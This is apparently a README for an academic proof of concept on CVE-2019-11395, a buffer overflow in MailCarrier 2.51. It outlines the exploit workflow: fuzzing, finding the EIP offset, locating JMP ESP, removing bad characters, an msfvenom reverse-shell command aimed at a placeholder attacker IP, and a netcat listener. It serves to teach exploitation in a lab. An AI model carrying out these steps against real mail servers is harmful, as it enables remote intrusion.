Proof of concept with the academic purpose to understand the Buffer Overflow vulnerability using as background the CVE-2019-11395# CVE-2019-11395
## Overview
This Proof of Concept (PoC) demonstrates a **Buffer Overflow vulnerability** in MailCarrier 2.51, allowing remote attackers to execute arbitrary code via a long string. The vulnerability can be exploited using the following processes:
- `SMTP RCPT TO`
- `POP3 USER`
- `POP3 LIST`
- `POP3 TOP`
- `POP3 RETR`
The project aims to provide an **academic approach** to understanding how Buffer Overflow works.
---
## ⚠️ Warnings
Before running any tests, **never use your production environment** for initial experimentation. Instead, create a **lab setup** similar to your production environment to **avoid any issues or unintended consequences**.
---
## 🔧 Preparation
### 1. Discover the Vulnerability
- Use the **fuzzing technique** to determine the approximate number of bytes required to break the application.
### 2. Find the Offset
- Once the crash occurs, use:
```bash
msf-pattern_create -l <number_of_bytes>
This helps determine the Offset, which is the exact number of bytes needed to overwrite the `EIP`.
- Use the following command to confirm the Offset
```bash
msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
This identifies the exact byte count required to control the `EIP`.
### 3. Find a JMP or CALL Instruction
- Locate an instruction using:
```bash
JMP ESP
CALL ESP
We will use this address to redirect execution. Be cautious with ASLR, SafeSEH, or other protection mechanisms.
### 4. Identify bad chars
- Use the Mona tool within Immunity Debugger to check for bad characters.
### 5. Generate Shellcode
- Create shellcode while excluding bad characters:
```bash
msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
### 6. Add NOPs
- Insert `NOP` (`\x90`) instructions into the payload to improve stability.
### 7. Establish a connection
- Use `netcat` (`nc`) to create a reverse shell and connect to the target.
登录后查看神龙缓存的 POC 文件快照
登录查看